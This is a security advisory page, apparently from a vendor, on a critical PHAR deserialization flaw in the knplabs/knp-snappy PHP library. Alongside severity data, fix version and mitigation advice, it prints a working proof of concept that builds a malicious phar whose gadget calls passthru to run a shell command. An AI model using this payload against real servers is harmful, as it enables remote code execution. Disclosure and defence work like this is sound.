GHSA-gq6w-q6wh-jggc is a critical-severity (CVSS 9.8) Deserialization of Untrusted Data vulnerability in knplabs/knp-snappy. 1 public exploit reference exists, so weaponization risk is real. A fix is available for knplabs/knp-snappy — see the affected versions and patch details below.
PHAR deserialization allowing remote code execution
Exploitation Status
No confirmed exploitation observed yet
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- A successful exploit gives an attacker total control of the affected component, not partial access.
- CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.
Exploitation and automatability from CISA’s SSVC triage for GHSA-gq6w-q6wh-jggc.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-gq6w-q6wh-jggc plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,166 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
knplabs/knp-snappyReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Description
snappy is vulnerable to PHAR deserialization due to a lack of checking on the protocol before passing it into the file_exists() function. If an attacker can upload files of any type to the server he can pass in the phar:// protocol to unserialize the uploaded file and instantiate arbitrary PHP objects. This can lead to remote code execution especially when snappy is used with frameworks with documented POP chains like Laravel/Symfony vulnerable developer code. If user can control the output file from the generateFromHtml() function, it will invoke deserialization.
Proof of Concept
Install Snappy via composer require knplabs/knp-snappy. After that, under snappy directory, create an index.php file with this vulnerable code.
<?php
// index.php
// include autoloader
require __DIR__ . '/vendor/autoload.php';
// reference the snappy namespace
use Knp\Snappy\Pdf;
// vulnerable object
class VulnerableClass {
public $fileName;
public $callback;
function __destruct() {
call_user_func($this->callback, $this->fileName);
}
}
$snappy = new Pdf('/usr/local/bin/wkhtmltopdf');
// generate pdf from html content and save it at phar://poc.phar
$snappy->generateFromHtml('<h1>Bill</h1><p>You owe me money, dude.</p>', 'phar://poc.phar');
As an attacker, we going to generate the malicious phar using this script.
<?php
// generate_phar.php
class VulnerableClass { }
// Create a new instance of the Dummy class and modify its property
$dummy = new VulnerableClass();
$dummy->callback = "passthru";
$dummy->fileName = "uname -a > pwned"; //our payload
// Delete any existing PHAR archive with that name
@unlink("poc.phar");
// Create a new archive
$poc = new Phar("poc.phar");
// Add all write operations to a buffer, without modifying the archive on disk
$poc->startBuffering();
// Set the stub
$poc->setStub("<?php echo 'Here is the STUB!'; __HALT_COMPILER();");
// Add a new file in the archive with "text" as its content
$poc["file"] = "text";
// Add the dummy object to the metadata. This will be serialized
$poc->setMetadata($dummy);
// Stop buffering and write changes to disk
$poc->stopBuffering();
?>
Then run these command to generate the file
php --define phar.readonly=0 generate_phar.php
Then execute index.php with php index.php. You will see a file named pwned will be created. Noted that attacker can upload a file with any extension such as .png or .jpeg. So poc.jpeg also will do the trick.
Impact
This vulnerability is capable of remote code execution if Snappy is used with frameworks or developer code with vulnerable POP chains.
Occurences
References
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | knplabs/knp-snappy | all versions | 1.4.2composer require knplabs/knp-snappy:^1.4.2 |
Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for knplabs/knp-snappy, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update knplabs/knp-snappy to 1.4.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-gq6w-q6wh-jggc is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-gq6w-q6wh-jggc can be triaged on real exposure rather than presence alone.
Tailored to GHSA-gq6w-q6wh-jggc. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-gq6w-q6wh-jggc in your dependencies?
O3 Security finds GHSA-gq6w-q6wh-jggc across Packagist dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.